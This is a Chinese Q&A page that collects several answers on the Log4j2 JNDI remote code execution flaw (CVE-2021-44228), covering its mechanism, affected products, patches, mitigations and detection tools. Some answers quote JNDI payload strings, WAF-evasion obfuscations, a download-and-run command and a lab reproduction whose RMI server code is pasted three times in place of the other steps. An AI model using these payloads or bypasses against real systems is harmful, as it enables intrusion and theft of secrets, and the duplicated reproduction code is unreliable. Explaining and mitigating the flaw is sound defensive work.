Apache 存在 Log4j 远程代码执行漏洞,将给相关企业带来哪些影响?还有哪些信息值得关注?

by , at 16 December 2021, tags : 漏洞 Log4j Log4j 日志 代码 2.15.0 点击纠错 点击删除
使用CN2/CN2GIA顶级线路,支持Shadowsocks/V2ray科学上网,支持支付宝付款,每月仅需 5 美元
## 加入品葱精选 Telegram Channel ##

知乎用户 Serendipity​​ 发表

Apache Log4j 2 远程代码执行漏洞,和很多注入攻击一样,能够得以实施的两个关键条件在于:

  • 用户能够控制输入,或者说需要用户提供部分输入数据
  • 用户提供的输入数据和原本程序要执行的代码进行了拼接,或被当作代码执行

对于 SQL 注入,就是用户提交的数据,被数据库系统编译而产生了服务提供者预料之外的非 “数据” 行为

本次 Apache Log4j 2 存在的远程代码执行漏洞也一样,未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。

攻击者通过 JNDI 注入漏洞,当程序将用户输入的数据记入日志时,利用用户能够控制向记录日志中输入数据的操作,来实现这段特殊构造的请求,可以触发 Apache Log4j2 中的远程代码执行漏洞。

攻击者首先向漏洞服务器发起攻击请求,通过 Log4j2 记录攻击请求中包含的基于 JNDI 和 LDAP 的恶意负载向漏洞服务器发起攻击请求(利用 JNDI 来执行 LDAP 协议注入的可执行代码)。

记录的恶意负载被触发后,服务器通过 JNDI 发出请求。由于攻击请求中的地址是攻击者控制的地址,因此其可以在请求响应中植入恶意可执行脚本,从而成功利用此漏洞在目标服务器上进行远程代码执行,进而攻击服务器。

托 Apache Log4j 2 的福,这次漏洞影响的范围非常之广(Apache Log4j 2 一款非常流行的开源 Java 日志记录组件)

详细漏洞披露,可查看:

- ASF JIRAhttps://github.com/YfryTchsGD/Log4jAttackSurface

受影响组件可查看:

org.apache.logging.log4j " log4j-core (Usages)

此外,Minecraft 是第一个但肯定不是最后一个受到影响的游戏。

最后,这不仅仅是 Apache Log4j 2 组件或者 SQL 语言的问题,而是只要有数据和代码未曾分离的地方,便都是注入攻击的可寻之地。

所以,不要因噎废食,弃之不用。攻击检测和漏洞修复的工作,有很多研究机构和安全公司都在进行。历史是螺旋上升的,安全也是,前进性、曲折性和周期性不可避免。

知乎用户 nlfox 发表

脚本小子的又一次狂欢【

这个问题要问大不大,确实是大,数什么玩意没有用 Log4j2 可能比数什么玩意用了 Log4j2 来的快一点。

目前网上流传的 exp 更是简单粗暴直接居然还有效,Random script boys be like:这是 payload,这是框框,ctrlc,ctrlv,boom,他被黑啦,截图吹逼辣!

但是并不是看到了发回来的 DNS 请求就一定能利用。

毕竟一定版本 JDK 之后, com.sun.jndi.ldap.object.trustURLCodebase已经是默认 false 了,断了直接读取远程代码的路子,想直接读取远程代码是会失败的。

问题是不让执行远程代码,还有本地代码可以利用啊,所以绕过的办法很多,需要具体情况具体分析,不同的框架有不同的依赖,需要找不一样的利用链。

比如如果依赖有 Tomcat,可以利用 org.apache.naming.factory.BeanFactory,配合 javax.el.ELProcessor 来执行任意代码。详见 [1].

还有一些其他的利用链详见 [2]

所以想要绕过大部分时候总能找到办法,鬼知道你依赖里面有什么贵物?

目前对这个漏洞利用还处于早期阶段(ctrlc ctrlv),好在现在大家都非常重视,修的应该会很快,吧,大概。反正我们内部 buildertool 已经在 merge fix 了,现在基本上是个 Sev1 级别的 issue(前两天 AWS 挂掉那种等级),block 所有对有漏洞版本 Log4j 的 build,大部分 team 会收到 Sev2 然后被要求 deploy 最新版本的 Log4j2。

目前为止一些解决方案

  1. 使用最新的 2.15.0
  2. log4j2.formatMsgNoLookups设为 true
  3. 写 WAF 规则先挡一挡【

什么,影响?大的还在路上呢. jpg

原理

Log4j - Log4j 2 Lookups - Apache Log4j 2

官方教你利用怕不怕. jpg

完全就是 Log4j2 作为一个单纯简化日志操作的库加了其实没有很大必要的功能,加了一个用 JNDI 读取变量的 feature,啥验证没有,不幸酿成惨剧。

只要你 log 了用户输入能够控制的变量,那么只要用户输入了任何能包含${jndi:ldap://blabla.com/} 的内容,Log4j2 都会尝试通过 jndi 读取这个变量。

这个问题算是新时代的 format string 漏洞或者说也能算一种 SSTI,数据和代码混淆导致的 RCE,类似的例子已经有很多了。

Reference

[1] Exploiting JNDI Injections in Java | Veracode

[2] https://www.cnblogs.com/yyhuni/p/15088134.html

知乎用户 琴梨梨 发表

由于 minecraft java 版也使用了 log4j,这个漏洞甚至可以用来在生存模式下作弊

实测在低版本 java(java8u191 之前的版本)下可以在 minecraft 聊天内使用 jndi 注入,因为 minecraft 会把聊天输入内容打在 log 里,用的就是 log4j,因为命令方块也可以实现此注入,在有外部程序配合的情况下,可以实现完全看不出任何破绽的作弊

官方启动器 + 官方 jre 玩家不用进行任何操作,虽然正版的 log4j 版本是存在漏洞的版本,但是因为目前官方启动器用的 jre 是基于 openjdk16 的,openjdk16 不能使用 jndi 注入

但是还在使用低版本 java 开服的服主,建议尽快升级 log4j 和 java 版本

知乎用户 ailx10​​ 发表

朋友圈里已经出现大量远程漏洞利用截图了,今天俺也做一回脚本小子,只不过我仅仅复现一下本地漏洞,本地漏洞复现不会对互联网产生任何影响,满满的知乎求生欲。

面对这个核弹级别的漏洞,全网颤抖,公司领导非常重视,这个周五 “安全人” 全体加班,积极更换 jar 包,升级版本,第一时间防御住了漏洞利用,场面真的热闹非凡。

话说回来,也就安全圈子里热闹,漏洞在野利用,红队蓝队在过春节,安全研发在过清明节,其他人大多数是睁一只眼,闭一只眼,装死,躺平,等着 “安全人” 发布补丁。

  1. 准备 RCE 程序,并编译成 class 文件**(RCE 代码已经删了,别问我)**
  2. 准备 http 服务,并启动(python 就行)
  3. 准备 marshalsec-jar 包,并运行(github 有)
  4. 准备 log 输出程序,并运行,即可见证奇迹~

12 月 10 号睡前顺手验证一下,百度已经修复了漏洞,奖励一个鸡腿~

又验证了一下苹果 iCloud,发现依然没有修复,想必美国人还在睡懒觉吧~

知乎也要加油幺,我猜测,程序员周五晚上通常不加班?

ailx10

841 次咨询

4.9

网络安全优秀回答者

网络安全硕士

去咨询

知乎用户 邓琦 发表

关于 Apache Log4j RCE 漏洞的技术分析和修补可以参加我和组里大佬 (@ga1ois,

@ZHZHZ

) 的文章:

Apache log4j Vulnerability CVE-2021-44228: Analysis and Mitigations

还有学弟

@nlfox

的回答:

Apache 存在 Log4j 远程代码执行漏洞,将给相关企业带来哪些影响?还有哪些信息值得关注?

从企业的影响来说:

1、企业会更加重视安全,尤其是在安全防护上的投入。这里的防护不仅是安全防护软件,还有的是企业安全开发的投入,这次的漏洞据说是用 CodeQL 公开的规则扫描出来的,但是为什么这么多大厂都没有找到这个漏洞呢?对于代码的安全扫描不够,对于供应链的代码安全检测不够

2、整个安全甚至科技业界会对开源产品的态度以及开源社区对于产品安全的管理会发生改变,免费的开源产品好不好用?当然好用,然而出了问题也是很大的问题,GCP Dataflow 还没有修复 log4j 的问题,为啥?因为 Dataflow 用了老版本的 Apache Beam, 最新版的 Beam 里面直接移除了 log4j,Dataflow 的团队还需要去研究怎样才能安全的把老版本的 Beam 里面的 log4j 修复好。Google 都是这个样子,其他的小公司,小团队能好到哪去?

大公司还是要多给开源社区加点鸡腿 “Apache Log4j 项目由三名志愿者业余时间维护。请不要嘲弄他们,因为市值数十亿美元的公司正在使用他们的工具,却连投入 1000 美元都不屑一顾。”

3、这种 1day 比 0day 的威力要大很多,而且是这种利用门槛非常低的远程代码执行漏洞,现有的恶意软件随便改个 payload 就是蠕虫级别。各个大厂商加班加点都没有把自己的问题修补完,那些毫无防护的个人设备简直就是一个个唾手可得的肉鸡。

4、这个漏洞的余威更大,当年的 struts2 漏洞到如今很多政府、学校、医院等老旧系统依然能够使用,随着 log4j RCE 的攻击面的扩大,受影响的系统会越来越多。

最后我想对已经稳定赚钱的企业说,该买安全产品就买买,不要不舍得花钱,我司产品可以考虑下,虽然价格有点贵,但是物有所值。

知乎用户 火线安全平台​ 发表

昨日,Apache Log4j2 成为知名漏洞,其危害性使得该漏洞吸引了安全圈所有人的目光。火线安全为防止其继续扩大影响范围,特发布针对该漏洞的处置方案。

漏洞描述

Apache Log4j 2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了重大改进,并提供了 Logback 中可用的许多改进,被广泛应用于业务系统开发,用以记录程序输入输出日志信息。是目前较为优秀的 Java 日志框架。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可通过构造指定的恶意请求,触发远程代码执行从而获取服务器权限。

漏洞编号

CNVD-2021-95914

影响范围

Apache Log4j 2.x <= 2.15.0-rc1(据悉,官方 rc1 补丁有被绕过的风险)

经火线安全团队验证,可能受影响的应用不限于以下内容 (漏洞攻击面可能会逐步扩散到基础开源软件、客户端软件等更多资产面):

Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Druid
Apache Flink
ElasticSearch
Flume
Dubbo
Jedis
Logstash
Kafka

无害检测工具

Java 项目构建后,放置于 /opt/app.jar,如何检测 app.jar 是否收到 log4j 的影响?如何检测开源组件中是否套娃式引用 Log4j 漏洞版本并存在可利用链条? 点击试用:https://i0x0fy4ibf.feishu.cn/docs/doccn0nmfQrC2MyrQyKU75uImWc#

java -jar DongTaiZeroCheck.jar /opt/app.jar "dnslog address"

# 查看dnslog 中是否出现 app.jar.dnslog.address ,如果存在,存在漏洞;如果不存在,则无风险。
# notice: 本工具暂时只检测应用中是否存在可被利用的 log4j 组件依赖,未判断依赖是否在代码中被使用

漏洞复现

复现过程如下:

新建一个 Maven 项目,在 pom.xml 导入即可

<dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
</dependencies>

修复建议

1、使用开源的洞态 IAST 进行检测 –》DongTai-IAST(https://dongtai.io)

2、检查 pom.xml 是否存在 log4j 版本 2.0<= 2.14.1

3、当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。

链接:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

4、临时性缓解措施(任选一种)

  • 在 jvm 参数中添加 -Dlog4j2.formatMsgNoLookups=true
  • 系统环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
  • 建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本
  • 创建 “log4j2.component.properties” 文件,文件中增加配置“log4j2.formatMsgNoLookups=true”
  • 限制受影响应用对外访问互联网
  • WAF 添加漏洞攻击代码临时拦截规则。

参考资料

https://www.cnvd.org.cn/webinfo/show/7116

https://github.com/apache/logging-log4j2

https://github.com/apache/logging-log4j2/commit/7fe72d6

https://www.lunasec.io/docs/blog/log4j-zero-day/

欢迎大家关注火线哦

知乎用户 4ra1n 发表

知乎懂安全的朋友可能不多,简单说几个问题:

Q:打个 dnslog 记录或者弹计算机,有啥危害啊?

A:能弹计算器说明可以执行用户输入的命令。如果这个命令是从某个服务器下载一个脚本,然后执行该脚本(wget xxx.sh | bash)脚本内容是主动与你服务器建立 TCP 连接并执行接收到的命令,这样目标机器就由你控制了,想做什么做什么

Q:为什么官方的更新不彻底删了罪魁祸首 JNDI?

A:该框架应用范围极广,难免有程序员用到 JNDI,最佳解决办法是默认关闭

Q:修复原理是什么?

A:首先默认关闭 lookup 功能,然后在 JndiLookup 里加入协议白名单、host 白名单、类名白名单等。实际上除了 host 白名单无法处理,其他几个白名单都有手法可以绕过。目前最新修复不存在绕过的可能,假设绕过也无法解决 lookup 默认关闭的问题。最新修复默认禁用 jndi

Q:如果使用 RASP 或 SecurityManager 等技术限制了代码部分功能,那么如何利用该漏洞?

A:无法执行命令但是存在信息泄露,不止 Jndi 这一种 lookup,还有 env 和 sys 等 lookup 可以查询系统信息,浅蓝师傅提出的 bundle 型 lookup 甚至可以查到数据库密码,然后通过 dnslog 带出来

Q:为什么 RC1 还能绕过?

A:RC1 修复在捕获异常后不返回,所以在 new URI 的时候如果报错,但 looup 的时候正常即可绕过。在 URI 中不允许出现未经过 URL 编码的字符,利用这个特性可以有多种绕过姿势

Q:防火墙如何检测以及如何绕过?

A:WAF 主要针对 jndi 关键字检测,可以用嵌套标签来处理。例如 ${lower:j}${lower:n} 或 ${::-j} 或 ${::-j}${::-n}${::-d}${::-i} 等姿势,更进一步的绕过参考浅蓝师傅,可以用 \ u0131 转大写的方式

Q:修复方案有哪些?

A:添加 JVM 或 properties 参数 formatMsgNoLookups=true,设置系统环境变量,使用高版本 JDK,手动修改 jar 包,限制出网,禁用 JNDI,加 RASP 和 WAF 等手法

Q:是否存在不重启服务端的修复方案?

A:参考 shiro 改 key 的思路,执行一段反射代码,将 jdnilookup 的逻辑给 nop 了。在漏洞爆出当天晚上我就实现了,不过没有对外发,昨天宽字节公众号提出了该方案。另一种方案是 Java agent 改 jvm 的字节码,园长开源了项目

Q:我用的高版本 JDK 是否不受影响?

A:并不安全,存在绕过 191 的手法,比如利用本地 classpath 中的 gadget 构造 ldap 序列化数据,触发反序列化 RCE。或者利用 tomcat 依赖的一个恶意类。假设依赖无风险,高版本 JDK 也可以 dnslog 带出来敏感数据


在先知首发了漏洞分析文章(不是最早不过应该是目前为止比较详细的)

Apache Log4j2 从 RCE 到 RC1 绕过

RC1 修复后我发现了绕过手法,正想发布看到朋友圈阿里云在更早发现了,后来研究 RC2 的绕过,发现没办法,不过跟着大佬们学了一波绕 WAF 姿势,标签嵌套等姿势

在 RC2 的修补后发现一处鸡肋漏洞,虽然官方认可并致谢,但无利用价值

尝试绕 2.15.0 最新版,用一些手法可以进入 serialize 的 if 判断,ldap 那边伪造类名可以绕这一层白名单,利用 classpath 里的 cc 触发 rce。但测试的时候没注意 ldap 是 localhost 已经在白名单,所以这个绕过没有意义。就算绕过了也无法处理默认关闭 lookup 的情况


补充,今晚总结了一些无法 RCE 情况(RASP 或 SecurityManager 等技术)下这个漏洞应该如何利用,已发表到先知。主要是结合 SYS 和 ENV 用 DNSLOG 或 DNS 本身带出信息

另外分析了一种特殊情况,有个 BundleLookup,在 SpringBoot 主动排除默认日志依赖选择 Log4j2 的情况下,可以直接读取数据库密码等关键配置信息

最后水群从浅蓝师傅那里学到一种不出网的信息泄露回显方式,基于报错,在 Log4j2.xml 中开启某个特殊选项的情况下可以直接回显关键信息,在不出网的情况下获得信息。这个特殊选项在 Github 中有几千例且官方文档中也有很多处出现,所以实战中有概率可以利用


今天 Log4j2 发布了拒绝服务漏洞的 CVE 编号:CVE-2021-45046

这个漏洞我在 RC2 修复后立即报告了,但是官方并没有将该 CVE 的 credit 设置为我,而是国外某安全团队。经过这几天的努力,官方将我加入了 CVE-2021-45046 的 credit 中,算是人生第一个 apache 的 CVE 了

仔细看了国外某安全团队的描述,他触发拒绝服务漏洞的方式和我提出的略有不同,他利用 ${ctx} 从 ThreadContext 里取值造成的拒绝服务,具体分析参考

Apache Log4j2 拒绝服务漏洞分析

知乎用户 Glavo 发表

GitHub - Glavo/log4j-patch

糊了一个简单有效的 patch 出来,将它附加在类路径的最前面即可禁用 JNDI 查找,阻止这个漏洞。适用于 Log4j2 所有版本,对 Java 版本没有要求。

原理就是提供了一个空的 JndiLookup 用来覆盖 Log4j2 中的类,Log4j2 处理了加载失败的情况,会直接禁用 JNDI 查找,以此解决了这个问题。

这是一个非侵入式的修补器,可以用来修补第三方无法修改代码的程序,譬如 Minecraft。这里提供了一个 javaagent,只需要添加 -javaagent:log4j-patch-agent-1.0.jar 就可以自动替换。

这个也已经发布到 Maven Central 上了,自己的项目的话,将它作为第一个依赖项添加也能解决这个问题。

dependencies {
    implementation("org.glavo:log4j-patch:1.0")
}

知乎用户 微步在线​ 发表

近日, Apache Log4j2 的远程代码执行漏洞细节被公开,经过快速分析和确认,该漏洞影响范围极其广泛,危害极其严重,微步在线建议广大企业第一时间启动应急响应进行修复。

漏洞排查工具

为帮助广大企业更好排查自身资产设备是否受该漏洞影响,经由微步工程师深入分析研究,现提供自查工具方便广大企业进行漏洞资产排查:

https://static.threatbook.cn/tools/log4j-local-check.sh

工具原理

首先通过读取系统中所有打开的文件,来读取所有加载了的 log4j 的 jar 包,然后识别 log4j 2.x 的 jar 包文件名特征,来识别出结果, 如果没检测出来,则对其他 jar 包进行正则匹配 log4j-core,看是否有引用该 jar 包,如果显示 jar 包路径,则说明存在该漏洞,没有则说明没有直接加载 log4j 对应 jar 包。

使用方法:

chmod +x ./log4j-local-check.sh./log4j-local-check.sh

FAQ

我们整理了一部分大家关注的问题进行答复,希望能帮助广大企业完成此次漏洞应急处理:

  1. 目前该漏洞具体受影响的版本都有哪些?

log4j2 2.0 - log4j2 2.15.0-rc1log4j 1.x,需配合 JMS Appender 才可被利用(该种利用方式目前尚未有公开信息)

2. 官方提供的 rc1 补丁是否确定已经被 bypass?

rc1 中漏洞 patch 方案虽被绕过,但 rc1 中 log4j2.formatMsgNoLookups 默认为 true,只要不修改该选项 rc1 依旧无法利用成功,不放心的用户也可更新至最新版:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

3. 应急修复方案:

对于 2.10 以下版本,建议升级至最新版 log4j-2.15.0-rc2

对于 2.10 及以上版本版本,有如下缓解措施:

  • 设置 jvm 参数 “-Dlog4j2.formatMsgNoLookups=true”
  • 在项目 classpath 目录下添加 log4j2.component.properties 配置文件,设置 log4j2.formatMsgNoLookups=true
  • 设置系统环境变量:“LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS” 设置为 “true”

相关受影响的应用:

应用受影响版本
Spring-Boot-strater-log4j2全版本
Apache Struts2全版本
Apache Solr已经在 9.0 和 8.11.1 修复
Apache Flink1.11.0-rc1 到 1.14.0
Apache Druid0.7.x 以上
Alibaba Druid1.0.15 以及以上
ElasticSearch5.x,6.x 和 7.x
Logstash5.0.0 至最新
log4j2-redis-appender全版本
Apache Dubbo2.7.x 以及 3.0.x
Hadoop Hive2.x 和 3.x
hadoop hbase3.0.0-alpha-1
Mycat1.6.x
OpenCmsbuild_11_0_0_beta 到最新

知乎用户 淘小黑 发表

这个漏洞在时间方面会比较长久,而且使用 log4j2 的项目比较多。对企业是一个持久的影响,现在已经又好多人开始利用这个漏洞攻击了。漏洞披露的时候没预料到会影响这么大。

下列是目前已知的受影响项目,其中不乏主流的组件、框架以及应用服务。

Apache Struts2

Apache Solr

Apache Druid

Apache Flink

ElasticSearch

flume

dubbo

Redis

logstash

kafka

官方已出修复建议,可以参考。不过如非必要,建议直接将 jndi 移除,一劳永逸。

知乎用户 看雪 发表

本文为看雪论坛优秀文章

看雪论坛作者 ID:hacktu

一、简介

被 log4j2 漏洞刷频了,公司也是紧急修复了一波,现在来整个盘一下这个漏洞到底是什么原理!

测试漏洞的人太多,连 dnslog 很长一段时间都访问不了,最后还用的 ceye 测试复现的。

**影响版本:**Apache Log4j 2.x<=2.15.0.rc1

影响范围:

Spring-Boot-strater-log4j2Apache

Struts2Apache

SolrApache

FlinkApache

DruidElasticSearch

Flume

Dubbo

Redis

Logstash

Kafka

vmvare

二、复现过程

漏洞原理

最主要的漏洞成因就是下面这张图了,log4j2 提供的 lookup 功能:

日志中包含 ${},lookup 功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。log4j 2 将基本的解析都做了实现。比如常见的用户登陆日志记录:

常见解析

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s}
${log4j}
${main}
${name}
${marker}
${spring}
${sys:logPath}
${web:rootDir}

而其中的 JNDI(Java Naming and Directory Interface)就是本次的主题了,就是提供一个目录系统,并将服务与对象关联起来,可以使用名称来访问对象。

而 log4j 2 中 JNDI 解析未作限制,可以直接访问到远程对象,如果是自己的服务器还好说,那如果访问到黑客的服务器呢?

也就是当记录日志的一部分是用户可控时,就可以构造恶意字符串使服务器记录日志时调用 JNDI 访问恶意对象,也就是流传出的 payload 构成:${jndi:ldap:xxx.xxx.xxx.xxx:xxxx/exp}

我们可以将上面日志记录的代码简单修改一下,假设用户名是从外部获取的用户输入,此时构建一个恶意用户名 ${jndi:ladp://http://z2xcu7.dnslog.cn/exp},然后触发日志记录 (可以借助 DNSLog 生成临时域名用于查看测试是否生效)。

可以看到,记录日志时发起了 JNDI 解析,访问了 DNS 提供的域名并生成记录。

攻击流程

其实 JNDI 通过 SPI(Service Provider Interface)封装了多个协议,包括 LDAP、RMI、DNS、NIS、NDS、RMI、CORBA;复现选择了使用 RMI 服务,搭建较为快速。

攻击思路(文章中使用的 jdk1.8):

1、找到目标服务器记录日志的地方,且记录的部分内容可控。

我们还是选择之前的模拟日志记录,假设站点会记录用户登陆日志,实际上大部分网站确实会做相关功能。

2、搭建 RMI 服务端,包含需要执行的恶意代码。

RMI 服务端搭建,监听本地 8888(自定义)端口,用 Reference 类引用恶意对象。

package server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String\[\] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(8888);
        System.out.println("Create RMI registry on port 8888");
        Reference reference = new Reference("server.Log4jRCE", "server.Log4jRCE", null);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("exp", referenceWrapper);
    }
}

恶意对象模拟执行 cmd 打开计算器,并且输出一个语句用于标记执行处:

package server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String\[\] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(8888);
        System.out.println("Create RMI registry on port 8888");
        Reference reference = new Reference("server.Log4jRCE", "server.Log4jRCE", null);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("exp", referenceWrapper);
    }
}

执行 RMIServer,创建 RMI 服务。

3、构建 EXP 触发目标服务器进行日志记录触发 JNDI 解析。

构建恶意用户名模拟输入,执行触发恶意解析。

package server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String\[\] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(8888);
        System.out.println("Create RMI registry on port 8888");
        Reference reference = new Reference("server.Log4jRCE", "server.Log4jRCE", null);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("exp", referenceWrapper);
    }
}

4、解析结果定位到搭建的恶意服务端,目标服务器访问并触发恶意代码。

恶意代码被执行,注意看恶意代码执行记录,是在日志记录的地方被执行。

三、修复与检测

可以通过 ${jndi 字串匹配是否受到攻击。

修复参考链接:

https://mp.weixin.qq.com/s/mb708YuskTyek29g-3pAEg

https://mp.weixin.qq.com/s/ClNpWamMn55BkholbUbo_g

四、总结

目前已证实服务器易受到漏洞攻击的公司包括苹果、亚马逊、特斯拉、谷歌、百度、腾讯、网易、京东、Twitter、 Steam 等。

据统计,共有 6921 个应用程序都有被攻击的风险,其中《我的世界》首轮即被波及。就连修改 iPhone 手机名称都能触发,最主要的是这是国外黑客玩了几个月玩腻了才公开的漏洞!

一个范围广的 0day 漏洞可能导致整个互联网沦为肉鸡或者瘫痪,网络安全,任重而道远。

不过早在 11 月 24 日,阿里云就监测到了在野攻击并给 apache 报告了,只是 apache 新出的版本只是拦截了 ldap,其他协议依旧有效。所以公开后很快被腾讯团队测试可绕过,当天发出修复版本 Log4j 2.15.0-rc2。

阅读原文:Apache Log4j 2 漏洞原理及复现 (qq.com)

知乎用户 暴躁乐谷​​ 发表

有什么好说的呢,这是程序猿最常用的一个功能。其他的同类产品似乎都还好,就这个版本被人悄咪咪引入了对 jndi 的支持…


关于漏洞产生原因的分析:
- Q:从源代码看,为什么会引入这个漏洞?
- A:从作者提交的 patch 看,就是进行 Jndi 处理的时候忘记 return 了,这个 try / catch 之后没有 return… (很多越权漏洞也这样的原因)
- 主要支持 Jndi 的功能在这个文件 https://github.com/apache/logging-log4j2/commits/master/log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java
能不能绕过就看下面逻辑 Handle URI exception · apache/logging-log4j2@c2b07e3

- Q:什么时候开始有这个问题?
- A:14 年就有 JndiManager 的支持,而在日志里解析 Jndi 似乎是 16 年 2 月引入的,通过这里,起初目的是提供多种配置的方式:https://github.com/apache/logging-log4j2/commit/4226e8934a5440d0235d71033cff5e5056b6f20e#diff-22ae074d2f9606392a3e3710b34967731a6ad3bc4012b42e0d362c9f87e0d65b

- Q:用户可控数据是怎么流入 org.apache.logging.log4j.core.net.JndiManager 的?
- A:通过类似于 Interceptor 的方式(切面)和参数转化器(Convertor),在这个补丁处有其他关键信息 https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea#diff-271353c1076e53f6893261e4420de27d34588bfd782806b5c66a3465c43b7f51

- Q:谁引入的这个问题?

- A:https://github.com/apache/logging-log4j2/commit/4226e8934a5440d0235d71033cff5e5056b6f20e#diff-22ae074d2f9606392a3e3710b34967731a6ad3bc4012b42e0d362c9f87e0d65b

知乎用户 苏州棱镜七彩信息科技有限公司 发表

快速定位 log4j 新漏洞影响的项目

第一步:将 FossEye 知识库更新至最新版本

第二步:【项目管理】全量扫描代码仓库

第三步:【资产管理 - 漏洞】根据漏洞 id 搜索 “CVE-2021-44228”,点击查看影响项目数

第四步: 溯源页面显示出该漏洞影响的所有项目,点击放大镜图标可查看代码具体位置

漏洞详情

漏洞概述

此次 Apache Log4j2 漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。恶意攻击者可以利用该漏洞注入恶意 class 文件从而执行任意命令。

漏洞编号

CVE-2021-44228

漏洞危险等级

严重

影响版本

Apache Log4j <=2.15.0-rc1

可能的受影响应用包括但不限于如下:

  • Spring-Boot-strater-log4j2
  • Apache Struts2
  • Apache Solr
  • Apache Flink
  • Apache Druid
  • ElasticSearch
  • flume
  • dubbo
  • Redis
  • logstash
  • kafka

漏洞复现

漏洞分析

略去一些非关键流程,日志信息最终会进入 MessagePatternConverter.java 文件的 format 方法,如下图,当日志信息中出现 “${” 关键字 则通过 StrSubstitutor.java 的 replace 方法对其进行替换和解析

最终通过 StrSubstitutor.java 文件中的 substitute 方法对传入的日志信息进行替换。这个函数主要作用就是提取出日志信息中的 ${} 信息,并根据内容调用。varName 就是提取出来的关键信息,最关键的位置如下:

在 lookup 中,prefix 是对应配置类,name 是其参数并通过调用对应方法进行解析。

lookup 保存有如下解析类:

![](data:image/svg+xml;utf8,)

最终在 JndiLookup.java 中触发漏洞

堆栈

lookup:172, JndiManager (http://org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:184, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1054, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:976, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:872, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:427, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:334, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:233, PatternLayout (org.apache.logging.log4j.core.layout)
encode:218, PatternLayout (org.apache.logging.log4j.core.layout)
encode:58, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:177, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:170, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:161, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:448, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:433, LoggerConfig (org.apache.logging.log4j.core.config)
log:417, LoggerConfig (org.apache.logging.log4j.core.config)
log:403, LoggerConfig (org.apache.logging.log4j.core.config)
log:49, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
logMessage:146, Logger (org.apache.logging.log4j.core)
log:2117, AbstractLogger (org.apache.logging.log4j.spi)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:14, log4j (com.z)

修复建议

官方修复链接如下:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

临时解决方案(三选一):

